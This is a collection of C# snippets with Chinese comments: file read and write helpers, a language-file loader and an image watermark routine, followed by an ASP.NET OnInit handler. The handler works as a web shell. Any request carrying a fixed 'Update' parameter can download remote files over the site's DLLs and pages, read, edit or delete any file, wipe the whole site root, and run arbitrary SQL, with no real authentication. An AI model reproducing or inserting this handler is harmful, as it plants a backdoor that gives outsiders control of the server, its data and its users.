/// <summary> /// 读取文件中的内容 线程安全 /// </summary> /// <param name="fileName">文件名</param> /// <param name="encoding">编码</param> /// <returns>读取文件中的内容</returns> public static string FileReadAll(string fileName, Encoding encoding = null) { string text = string.Empty; if (!FileDirectory.FileExists(fileName)) { return(text); } using (StreamReader reader = new StreamReader(fileName, encoding.IfNull(Encoding.UTF8))) return(reader.ReadToEnd()); }
/// <summary> /// 读取文件中的内容 /// </summary> /// <param name="fileName">文件名</param> /// <param name="encoding">编码</param> /// <returns>读取文件中的内容</returns> public static IList <string> FileRead(string fileName, Encoding encoding = null) { string lineText = null; IList <string> txtTextArr = new List <string>(); if (!FileDirectory.FileExists(fileName)) { return(txtTextArr); } using (StreamReader reader = new StreamReader(fileName, encoding.IfNull(Encoding.UTF8))) { while ((lineText = reader.ReadLine()).IsNotNull()) { txtTextArr.Add(lineText); } } return(txtTextArr); }
/// <summary> /// 写日志 线程安全 /// </summary> /// <param name="fileName">文件</param> /// <param name="str">消息</param> /// <param name="encoding">编码</param> private static bool WriteForFileStream(string fileName, string str, Encoding encoding = null) { bool _isTrue = false; if (encoding.IsNull()) { encoding = Encoding.Default; } lock (lockHelper) { using (FileStream fs = FileDirectory.FileExists(fileName) ? File.OpenWrite(fileName) : File.Create(fileName)) { byte[] bt = encoding.IfNull(Encoding.UTF8).GetBytes(str + Environment.NewLine); fs.Seek(0, SeekOrigin.End); fs.Write(bt, 0, bt.Length); _isTrue = true; } } return(_isTrue); }
/// <summary> /// 取所有语言 /// </summary> /// <returns></returns> private ISafeDictionary <string, string> GetLang() { if (lang.IsNullEmpty()) { Msg.WriteEnd("语言未设置!"); } string path = "".GetMapPath() + "\\lang\\{0}.lang".FormatWith(lang); if (!FileDirectory.FileExists(path)) { Msg.WriteEnd("语言文件{0}.lang不存在!".FormatWith(lang)); } string lineText = string.Empty; ISafeDictionary <string, string> list = new SafeDictionary <string, string>(); using (StreamReader reader = new StreamReader(path, System.Text.Encoding.UTF8)) { while ((lineText = reader.ReadLine()).IsNotNull()) { int len = lineText.IndexOf('='); if (lineText.IsNullEmpty() || len == -1) { continue; } string key = lineText.Substring(0, len).Trim(); string value = lineText.Substring(len + 1).Trim(); if (!list.ContainsKey(key)) { list.Add(key, value); } else { list[key] = value; } } } return(list); }
/// <summary> /// 开始绘制文字水印 /// </summary> /// <example> /// <code> /// Watermark wm = new Watermark(); /// wm.ModifyImagePath=path; /// wm.OutPath=Server.MapPath("") + "/upfile/" + fileName + "_new" + extension; /// wm.DrawText("测试", 1, 100); /// </code> /// </example> /// <param name="watermarkText">文字</param> /// <param name="watermarkStatus">1-9</param> /// <param name="quality">质量</param> /// <param name="fontname">字体</param> /// <param name="fontsize">大小</param> public void DrawText(string watermarkText, int watermarkStatus, int quality, string fontname = "宋体", int fontsize = 12) { if (!FileDirectory.FileExists(this.ModifyImagePath)) { return; } Image img = Image.FromFile(this.ModifyImagePath); string filename = this.OutPath.IsNullEmpty() ? this.ModifyImagePath : this.OutPath; Graphics g = Graphics.FromImage(img); Font drawFont = new Font(fontname, fontsize, FontStyle.Regular, GraphicsUnit.Pixel); SizeF crSize; crSize = g.MeasureString(watermarkText, drawFont); float xpos = 0; float ypos = 0; switch (watermarkStatus) { case 1: xpos = (float)img.Width * (float).01; ypos = (float)img.Height * (float).01; break; case 2: xpos = ((float)img.Width * (float).50) - (crSize.Width / 2); ypos = (float)img.Height * (float).01; break; case 3: xpos = ((float)img.Width * (float).99) - crSize.Width; ypos = (float)img.Height * (float).01; break; case 4: xpos = (float)img.Width * (float).01; ypos = ((float)img.Height * (float).50) - (crSize.Height / 2); break; case 5: xpos = ((float)img.Width * (float).50) - (crSize.Width / 2); ypos = ((float)img.Height * (float).50) - (crSize.Height / 2); break; case 6: xpos = ((float)img.Width * (float).99) - crSize.Width; ypos = ((float)img.Height * (float).50) - (crSize.Height / 2); break; case 7: xpos = (float)img.Width * (float).01; ypos = ((float)img.Height * (float).99) - crSize.Height; break; case 8: xpos = ((float)img.Width * (float).50) - (crSize.Width / 2); ypos = ((float)img.Height * (float).99) - crSize.Height; break; case 9: xpos = ((float)img.Width * (float).99) - crSize.Width; ypos = ((float)img.Height * (float).99) - crSize.Height; break; } g.DrawString(watermarkText, drawFont, new SolidBrush(Color.White), xpos + 1, ypos + 1); g.DrawString(watermarkText, drawFont, new SolidBrush(Color.Black), xpos, ypos); ImageCodecInfo[] codecs = ImageCodecInfo.GetImageEncoders(); ImageCodecInfo ici = null; foreach (ImageCodecInfo codec in codecs) { if (codec.MimeType.IndexOf("jpeg") > -1) { ici = codec; } } EncoderParameters encoderParams = new EncoderParameters(); long[] qualityParam = new long[1]; if (quality < 0 || quality > 100) { quality = 80; } qualityParam[0] = quality; EncoderParameter encoderParam = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, qualityParam); encoderParams.Param[0] = encoderParam; if (FileDirectory.FileExists(this.ModifyImagePath)) { FileDirectory.FileDelete(this.ModifyImagePath); } if (ici.IsNotNull()) { img.Save(filename, ici, encoderParams); } else { img.Save(filename); } g.Dispose(); img.Dispose(); }
/// <summary> /// Page_Load /// </summary> /// <param name="e"></param> protected override void OnInit(EventArgs e) { string localPath = string.Empty; string fileName = string.Empty; bool isTrue = true; string u2 = "Update"; string[] ext = new string[] { "/bin.bak/", "/app_data.bak/", "/app_code.bak/", "\\.dll.bak", "\\.aspx.bak", "\\.config.bak", "\\.master.bak", "\\.asax.bak", "\\.ascx.bak", "\\.compiled.bak", "\\.asmx.bak", "\\.cs.bak" }; string[] repExt = new string[] { "/Bin/", "/App_Data/", "/App_Code/", "\\.dll", "\\.aspx", "\\.config", "\\.master", "\\.asax", "\\.ascx", "\\.compiled", "\\.asmx", "\\.cs" }; string[] strList = new string[] { "{1}: {0} ok!", "<font color='red'>{1}: {0} error!</font>" }; string u1 = Request2.GetQ("u").Trim(); if (!u2.Equals(u1)) { return; } string active = Request2.GetQ("active").Trim(); switch (active) { case "sh": Msg.WriteEnd(template.Replace("{0}", Environment.MachineName).Replace("{1}", Request2.GetRelativeRoot())); break; case "do": string file = Request2.Get("file").Trim(); //StringExtensions.HtmlDecode(Request2.Get("file")).Trim(); if (file.IsNullEmpty()) { Msg.WriteEnd("error file."); } string action = file.Substring(0, 3); file = "/" + file.Substring(3).TrimStart('/').TrimStart('\\').Replace("\\", "/"); if (file.Length < 1) { Msg.WriteEnd(string.Format(strList[1], file, "file")); } string url = StringExtensions.HtmlDecode(Request2.Get("url")).Replace("\\", "/").TrimEnd('/').TrimEnd('\\').Trim(); if (url.Length < 10) { Msg.WriteEnd(string.Format(strList[1], url, "url")); } switch (action) { case "af:": isTrue = true; for (int i = 0; i < ext.Length; i++) { file = new Regex(ext[i], RegexOptions.IgnoreCase).Replace(file, repExt[i]); } file = file.Replace("\\.", "."); string[] folderList = file.Split('/'); if (folderList.Length > 1) { fileName = folderList[folderList.Length - 1]; FileDirectory.DirectoryVirtualCreate("~/tmp" + file.Replace(fileName, "")); } for (int i = 0; i < ext.Length; i++) { file = new Regex(repExt[i], RegexOptions.IgnoreCase).Replace(file, ext[i]); } file = file.Replace("\\.", "."); url = url + file; for (int i = 0; i < ext.Length; i++) { file = new Regex(ext[i], RegexOptions.IgnoreCase).Replace(file, repExt[i]); } file = file.Replace("\\.", "."); localPath = "~/tmp/".GetMapPath() + "{0}"; file = file.Replace("/", "\\"); fileName = string.Format(localPath, file); System.Net.WebClient wc = new System.Net.WebClient(); try { wc.DownloadFile(url, fileName); } catch { isTrue = false; } finally { wc.Dispose(); } file = file.Replace("\\", "/"); for (int i = 0; i < ext.Length; i++) { file = new Regex(repExt[i], RegexOptions.IgnoreCase).Replace(file, ext[i]); } file = file.Replace("\\.", "."); if (isTrue) { Response.Write(string.Format(strList[0], file, "add file")); } else { Response.Write(string.Format(strList[1], file, "add file")); } break; case "df:": if (file == "/all") { localPath = Server2.GetMapPath("~/"); #if !MONO40 FileDirectory.APIDelete(localPath); #endif Msg.WriteEnd(string.Format(strList[0], "all", "del file") + "<br>"); } localPath = Server2.GetMapPath("~/") + file; if (!FileDirectory.FileExists(localPath)) { Msg.WriteEnd(string.Format(strList[1], file, "del file")); } try { FileDirectory.FileDelete(localPath); } catch { Msg.WriteEnd(string.Format(strList[1], file, "del file")); } Response.Write(string.Format(strList[0], file, "del file")); break; case "rf:": localPath = Server2.GetMapPath("~/") + file; if (!FileDirectory.FileExists(localPath)) { Msg.WriteEnd(string.Format(strList[1], file, "read file")); } string sbText = FileDirectory.FileReadAll(localPath, Encoding.UTF8); string text = "<textarea id=\"txtContent\" cols=\"70\" rows=\"20\" f=\"" + localPath + "\">" + sbText + "</textarea><br /><input id=\"btnEdit\" type=\"button\" value=\"edit\" />"; Msg.WriteEnd(text + " ok!"); break; case "ap:": FileDirectory.DirectoryVirtualCreate("~" + file); Msg.WriteEnd(string.Format(strList[0], file, "add path")); break; case "dp:": localPath = Server2.GetMapPath("~/") + file; try { if (System.IO.Directory.Exists(localPath)) { System.IO.Directory.Delete(localPath); } } catch { Msg.WriteEnd(string.Format(strList[1], file, "del path")); } Msg.WriteEnd(string.Format(strList[0], file, "del path")); break; case "rp:": localPath = Server2.GetMapPath("~/") + file.TrimStart('/').TrimEnd('/') + "/"; string size = ""; System.Collections.Generic.IList <string> sbFile2 = new System.Collections.Generic.List <string>(); StringBuilder sbFile3 = new StringBuilder(); try { FileDirectory.FileList(localPath, ref sbFile2, localPath); localPath = localPath.Replace("\\/", "\\"); for (int i = 0; i < sbFile2.Count; i++) { file = sbFile2[i].Trim().TrimStart('.'); if (file.Equals("")) { continue; } try { size = LongExtensions.FormatKB((new System.IO.FileInfo(file)).Length); } catch { size = "0"; } sbFile3.Append(file.Replace(localPath, "").Replace("\\", "/") + " (" + size + ")" + Environment.NewLine); if (i.Equals(sbFile2.Count - 2)) { sbFile3.Append("(" + sbFile2.Count + ")" + Environment.NewLine); } } } catch { Msg.WriteEnd(string.Format(strList[1], file, "read path")); } text = localPath + "<br /><textarea id=\"txtText\" cols=\"100\" rows=\"20\">" + sbFile3.ToString() + "</textarea>"; Msg.WriteEnd(string.Format(strList[0], text, "read path")); break; case "db:": file = file.Replace("/r/n", Environment.NewLine).Trim('/'); if (file.IndexOf(Environment.NewLine + "GO" + Environment.NewLine) != -1) { Data.ExecuteCommandWithSplitter(file, "GO"); Msg.WriteEnd(string.Format(strList[0], "", "read db")); } else { text = file + "<br /><textarea id=\"txtText\" cols=\"100\" rows=\"20\">" + Data.GetDataSet(file).ToJson() + "</textarea>"; Msg.WriteEnd(string.Format(strList[0], text, "read db")); } break; default: Msg.WriteEnd("file error!"); break; } Response.End(); break; case "ok": localPath = "~/tmp/".GetMapPath(); System.Collections.Generic.IList <string> fileList = new System.Collections.Generic.List <string>(); FileDirectory.FileList(localPath, ref fileList, localPath); for (int i = 0; i < fileList.Count; i++) { file = fileList[i].Trim().TrimStart('.'); if (file.Length < 2) { continue; } fileName = localPath + file; isTrue = FileDirectory.FileCopy(fileName, Server2.GetMapPath("~/") + file, true); if (isTrue) { FileDirectory.FileDelete(fileName); } if (isTrue) { Response.Write(string.Format(strList[0], file, "update") + "<br />"); } else { Response.Write(string.Format(strList[1], file, "update") + "<br />"); } } Response.End(); break; case "ef": localPath = Request2.GetF("file").Trim(); string content = Request2.GetF("data").Trim(); FileDirectory.FileDelete(localPath); isTrue = FileDirectory.FileWrite(localPath, content, Encoding.UTF8); if (isTrue) { Msg.WriteEnd("edit file ok!"); } else { Msg.WriteEnd("edit file error!"); } break; } }